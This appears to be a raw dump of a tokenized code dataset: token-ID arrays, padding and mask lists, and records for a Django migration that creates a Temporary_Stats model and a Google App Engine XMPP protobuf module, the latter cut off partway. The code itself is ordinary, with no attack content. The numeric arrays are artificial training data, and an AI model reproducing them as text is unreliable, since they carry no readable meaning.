26, 2973, 523, 769, 26, 272, 1369, 26, 489, 446, 21107, 1785, 334, 2865, 13, 21307, 9, 3718, 367, 4503, 543, 445, 29478, 2647, 15, 1393, 15, 4853, 9, 436, 473, 8, 1397, 9, 5232, 8858, 14, 1666, 7251, 14, 272, 1415, 26, 3055, 272, 849, 26, 2973, 523, 1174, 26, 272, 1369, 26, 489, 446, 7480, 370, 3907, 334, 35, 8, 1881, 9, 503, 445, 8, 7657, 395, 445, 8, 7410, 1826, 503, 2813, 334, 35, 8, 5575, 9, 503, 445, 8, 10649, 430, 282, 2559, 14, 272, 1415, 26, 3055, 272, 3415, 26, 359, 298, 1881, 401, 298, 7657, 401, 298, 7410, 401, 298, 5575, 401, 298, 10649, 2, 1622, 272, 849, 26, 298, 1881, 2, 523, 4756, 3417, 26, 272, 1369, 26, 489, 446, 473, 8, 11334, 344, 9, 402, 23737, 370, 4756, 367, 314, 3907, 15, 873, 3439, 14, 267, 5723, 20416, 911, 440, 22400, 20561, 314, 6008, 14, 267, 3979, 9176, 3663, 20416, 12, 7396, 3062, 543, 282, 19089, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 298, 16, 14, 25, 2, 272, 849, 26, 2973, 272, 5481, 26, 942, 819, 3507, 3417, 26, 272, 1369, 26, 489, 446, 473, 8, 11334, 344, 9, 402, 23737, 370, 3507, 367, 314, 3907, 15, 873, 3439, 14, 267, 5723, 20416, 911, 440, 22400, 20561, 314, 6008, 14, 267, 3979, 9176, 3663, 20416, 12, 7396, 3062, 543, 282, 19089, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 298, 16, 14, 25, 2, 272, 849, 26, 2973, 272, 5481, 26, 942, 819, 3743, 63, 493, 26, 272, 1369, 26, 489, 446, 710, 3982, 24717, 2897, 570, 370, 675, 367, 314, 6008, 14, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 298, 16, 14, 22, 2, 272, 849, 26, 2973, 272, 5481, 26, 942, 819, 3507, 63, 21284, 63, 1074, 26, 272, 1369, 26, 489, 446, 7480, 370, 3507, 314, 598, 11115, 7907, 402, 17597, 402, 6117, 3769, 267, 4903, 14, 13481, 376, 7763, 1454, 340, 1174, 365, 473, 8, 1881, 9, 503, 473, 8, 7410, 680, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 298, 17, 14, 18, 2, 272, 849, 26, 298, 889, 2, 272, 3415, 26, 2097, 5066, 401, 298, 889, 937, 272, 5481, 26, 942, 819, 1678, 63, 1637, 26, 272, 1369, 26, 489, 446, 18771, 12928, 314, 2581, 14, 13481, 376, 7763, 1454, 340, 1174, 365, 473, 8, 1881, 9, 267, 503, 473, 8, 7410, 680, 272, 1415, 26, 3055, 272, 1015, 63, 3270, 26, 298, 17, 14, 25, 2, 272, 849, 26, 298, 889, 2, 272, 3415, 26, 2097, 5066, 401, 298, 889, 937, 272, 5481, 26, 942, 819, 4107, 63, 8356, 26, 272, 1369, 26, 489, 446, 961, 1454, 12966, 340, 1808, 282, 4178, 1166, 465, 314, 1350, 402, 314, 21980, 14, 325, 14, 71, 14, 367, 2257, 3174, 14, 982, 663, 370, 445, 8, 889, 395, 314, 7799, 14512, 911, 440, 506, 16468, 14, 489, 446, 961, 1077, 1454, 663, 370, 445, 8, 889, 9, 1202, 641, 4954, 1183, 22284, 15424, 1808, 291, 13, 1737, 14512, 465, 652, 23674, 31866, 314, 1350, 4770, 14, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
enjaz/enjaz
academy/migrations/0005_Temporary_Stats.py
2
1170
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('academy', '0004_edit_work'), ] operations = [ migrations.CreateModel( name='Temporary_Stats', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('grad_count', models.CharField(max_length=10, verbose_name='\u0639\u062f\u062f \u0627\u0644\u062e\u0631\u064a\u062c\u064a\u0646 \u0648\u0627\u0644\u062e\u0631\u064a\u062c\u0627\u062a')), ('course_count', models.CharField(max_length=10, verbose_name='\u0639\u062f\u062f \u0627\u0644\u062f\u0648\u0631\u0627\u062a')), ('instr_count', models.CharField(max_length=10, verbose_name='\u0639\u062f\u062f \u0627\u0644\u0645\u0642\u062f\u0645\u064a\u0646 \u0648\u0627\u0644\u0645\u0642\u062f\u0645\u0627\u062a')), ('session_count', models.CharField(max_length=10, verbose_name='\u0639\u062f\u062f \u0627\u0644\u062c\u0644\u0633\u0627\u062a')), ], ), ]
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 1639, 14, 697, 492, 6180, 12, 1709, 421, 199, 533, 12090, 8, 7685, 14, 9816, 304, 339, 5124, 275, 359, 267, 661, 645, 9587, 1662, 297, 283, 16643, 63, 3773, 63, 800, 659, 272, 1622, 339, 5331, 275, 359, 267, 6180, 14, 14907, 8, 288, 536, 534, 11360, 63, 8257, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 3832, 63, 354, 534, 998, 297, 8437, 29, 797, 12, 2599, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 1826, 355, 661, 6017, 63, 835, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 709, 12, 3376, 63, 354, 17115, 85, 1690, 1355, 60, 85, 18789, 70, 60, 85, 18789, 70, 971, 85, 1690, 1465, 60, 85, 16, 10893, 60, 85, 18789, 69, 60, 85, 1690, 2192, 60, 85, 17010, 65, 60, 85, 18789, 67, 60, 85, 17010, 65, 60, 85, 16, 11387, 971, 85, 16, 10552, 60, 85, 1690, 1465, 60, 85, 16, 10893, 60, 85, 18789, 69, 60, 85, 1690, 2192, 60, 85, 17010, 65, 60, 85, 18789, 67, 60, 85, 1690, 1465, 60, 85, 18789, 65, 3855, 355, 661, 1972, 63, 835, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 709, 12, 3376, 63, 354, 17115, 85, 1690, 1355, 60, 85, 18789, 70, 60, 85, 18789, 70, 971, 85, 1690, 1465, 60, 85, 16, 10893, 60, 85, 18789, 70, 60, 85, 16, 10552, 60, 85, 1690, 2192, 60, 85, 1690, 1465, 60, 85, 18789, 65, 3855, 355, 661, 21309, 63, 835, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 709, 12, 3376, 63, 354, 17115, 85, 1690, 1355, 60, 85, 18789, 70, 60, 85, 18789, 70, 971, 85, 1690, 1465, 60, 85, 16, 10893, 60, 85, 16, 13067, 60, 85, 16, 15463, 60, 85, 18789, 70, 60, 85, 16, 13067, 60, 85, 17010, 65, 60, 85, 16, 11387, 971, 85, 16, 10552, 60, 85, 1690, 1465, 60, 85, 16, 10893, 60, 85, 16, 13067, 60, 85, 16, 15463, 60, 85, 18789, 70, 60, 85, 16, 13067, 60, 85, 1690, 1465, 60, 85, 18789, 65, 3855, 355, 661, 1730, 63, 835, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 709, 12, 3376, 63, 354, 17115, 85, 1690, 1355, 60, 85, 18789, 70, 60, 85, 18789, 70, 971, 85, 1690, 1465, 60, 85, 16, 10893, 60, 85, 18789, 67, 60, 85, 16, 10893, 60, 85, 1690, 1153, 60, 85, 1690, 1465, 60, 85, 18789, 65, 3855, 288, 2156, 267, 2318, 272, 1622, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 1639, 14, 697, 492, 6180, 12, 1709, 421, 199, 533, 12090, 8, 7685, 14, 9816, 304, 339, 5124, 275, 359, 267, 661, 645, 9587, 1662, 297, 283, 16643, 63, 3773, 63, 800, 659, 272, 1622, 339, 5331, 275, 359, 267, 6180, 14, 14907, 8, 288, 536, 534, 11360, 63, 8257, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 3832, 63, 354, 534, 998, 297, 8437, 29, 797, 12, 2599, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 1826, 355, 661, 6017, 63, 835, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 709, 12, 3376, 63, 354, 17115, 85, 1690, 1355, 60, 85, 18789, 70, 60, 85, 18789, 70, 971, 85, 1690, 1465, 60, 85, 16, 10893, 60, 85, 18789, 69, 60, 85, 1690, 2192, 60, 85, 17010, 65, 60, 85, 18789, 67, 60, 85, 17010, 65, 60, 85, 16, 11387, 971, 85, 16, 10552, 60, 85, 1690, 1465, 60, 85, 16, 10893, 60, 85, 18789, 69, 60, 85, 1690, 2192, 60, 85, 17010, 65, 60, 85, 18789, 67, 60, 85, 1690, 1465, 60, 85, 18789, 65, 3855, 355, 661, 1972, 63, 835, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 709, 12, 3376, 63, 354, 17115, 85, 1690, 1355, 60, 85, 18789, 70, 60, 85, 18789, 70, 971, 85, 1690, 1465, 60, 85, 16, 10893, 60, 85, 18789, 70, 60, 85, 16, 10552, 60, 85, 1690, 2192, 60, 85, 1690, 1465, 60, 85, 18789, 65, 3855, 355, 661, 21309, 63, 835, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 709, 12, 3376, 63, 354, 17115, 85, 1690, 1355, 60, 85, 18789, 70, 60, 85, 18789, 70, 971, 85, 1690, 1465, 60, 85, 16, 10893, 60, 85, 16, 13067, 60, 85, 16, 15463, 60, 85, 18789, 70, 60, 85, 16, 13067, 60, 85, 17010, 65, 60, 85, 16, 11387, 971, 85, 16, 10552, 60, 85, 1690, 1465, 60, 85, 16, 10893, 60, 85, 16, 13067, 60, 85, 16, 15463, 60, 85, 18789, 70, 60, 85, 16, 13067, 60, 85, 1690, 1465, 60, 85, 18789, 65, 3855, 355, 661, 1730, 63, 835, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 709, 12, 3376, 63, 354, 17115, 85, 1690, 1355, 60, 85, 18789, 70, 60, 85, 18789, 70, 971, 85, 1690, 1465, 60, 85, 16, 10893, 60, 85, 18789, 67, 60, 85, 16, 10893, 60, 85, 1690, 1153, 60, 85, 1690, 1465, 60, 85, 18789, 65, 3855, 288, 2156, 267, 2318, 272, 1622, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
wangyou/XX-Net
code/default/gae_proxy/server/lib/google/appengine/api/xmpp/xmpp_service_pb.py
16
40692
#!/usr/bin/env python # # Copyright 2007 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from google.net.proto import ProtocolBuffer import array import dummy_thread as thread __pychecker__ = """maxreturns=0 maxbranches=0 no-callinit unusednames=printElemNumber,debug_strs no-special""" if hasattr(ProtocolBuffer, 'ExtendableProtocolMessage'): _extension_runtime = True _ExtendableProtocolMessage = ProtocolBuffer.ExtendableProtocolMessage else: _extension_runtime = False _ExtendableProtocolMessage = ProtocolBuffer.ProtocolMessage from google.appengine.api.api_base_pb import * import google.appengine.api.api_base_pb from google.appengine.api.channel.channel_service_pb import * import google.appengine.api.channel.channel_service_pb class XmppServiceError(ProtocolBuffer.ProtocolMessage): UNSPECIFIED_ERROR = 1 INVALID_JID = 2 NO_BODY = 3 INVALID_XML = 4 INVALID_TYPE = 5 INVALID_SHOW = 6 EXCEEDED_MAX_SIZE = 7 APPID_ALIAS_REQUIRED = 8 NONDEFAULT_MODULE = 9 _ErrorCode_NAMES = { 1: "UNSPECIFIED_ERROR", 2: "INVALID_JID", 3: "NO_BODY", 4: "INVALID_XML", 5: "INVALID_TYPE", 6: "INVALID_SHOW", 7: "EXCEEDED_MAX_SIZE", 8: "APPID_ALIAS_REQUIRED", 9: "NONDEFAULT_MODULE", } def ErrorCode_Name(cls, x): return cls._ErrorCode_NAMES.get(x, "") ErrorCode_Name = classmethod(ErrorCode_Name) def __init__(self, contents=None): pass if contents is not None: self.MergeFromString(contents) def MergeFrom(self, x): assert x is not self def Equals(self, x): if x is self: return 1 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 return n def ByteSizePartial(self): n = 0 return n def Clear(self): pass def OutputUnchecked(self, out): pass def OutputPartial(self, out): pass def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", }, 0) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, }, 0, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.XmppServiceError' class PresenceRequest(ProtocolBuffer.ProtocolMessage): has_jid_ = 0 jid_ = "" has_from_jid_ = 0 from_jid_ = "" def __init__(self, contents=None): if contents is not None: self.MergeFromString(contents) def jid(self): return self.jid_ def set_jid(self, x): self.has_jid_ = 1 self.jid_ = x def clear_jid(self): if self.has_jid_: self.has_jid_ = 0 self.jid_ = "" def has_jid(self): return self.has_jid_ def from_jid(self): return self.from_jid_ def set_from_jid(self, x): self.has_from_jid_ = 1 self.from_jid_ = x def clear_from_jid(self): if self.has_from_jid_: self.has_from_jid_ = 0 self.from_jid_ = "" def has_from_jid(self): return self.has_from_jid_ def MergeFrom(self, x): assert x is not self if (x.has_jid()): self.set_jid(x.jid()) if (x.has_from_jid()): self.set_from_jid(x.from_jid()) def Equals(self, x): if x is self: return 1 if self.has_jid_ != x.has_jid_: return 0 if self.has_jid_ and self.jid_ != x.jid_: return 0 if self.has_from_jid_ != x.has_from_jid_: return 0 if self.has_from_jid_ and self.from_jid_ != x.from_jid_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 if (not self.has_jid_): initialized = 0 if debug_strs is not None: debug_strs.append('Required field: jid not set.') return initialized def ByteSize(self): n = 0 n += self.lengthString(len(self.jid_)) if (self.has_from_jid_): n += 1 + self.lengthString(len(self.from_jid_)) return n + 1 def ByteSizePartial(self): n = 0 if (self.has_jid_): n += 1 n += self.lengthString(len(self.jid_)) if (self.has_from_jid_): n += 1 + self.lengthString(len(self.from_jid_)) return n def Clear(self): self.clear_jid() self.clear_from_jid() def OutputUnchecked(self, out): out.putVarInt32(10) out.putPrefixedString(self.jid_) if (self.has_from_jid_): out.putVarInt32(18) out.putPrefixedString(self.from_jid_) def OutputPartial(self, out): if (self.has_jid_): out.putVarInt32(10) out.putPrefixedString(self.jid_) if (self.has_from_jid_): out.putVarInt32(18) out.putPrefixedString(self.from_jid_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.set_jid(d.getPrefixedString()) continue if tt == 18: self.set_from_jid(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" if self.has_jid_: res+=prefix+("jid: %s\n" % self.DebugFormatString(self.jid_)) if self.has_from_jid_: res+=prefix+("from_jid: %s\n" % self.DebugFormatString(self.from_jid_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kjid = 1 kfrom_jid = 2 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "jid", 2: "from_jid", }, 2) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, 2: ProtocolBuffer.Encoder.STRING, }, 2, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.PresenceRequest' class PresenceResponse(ProtocolBuffer.ProtocolMessage): NORMAL = 0 AWAY = 1 DO_NOT_DISTURB = 2 CHAT = 3 EXTENDED_AWAY = 4 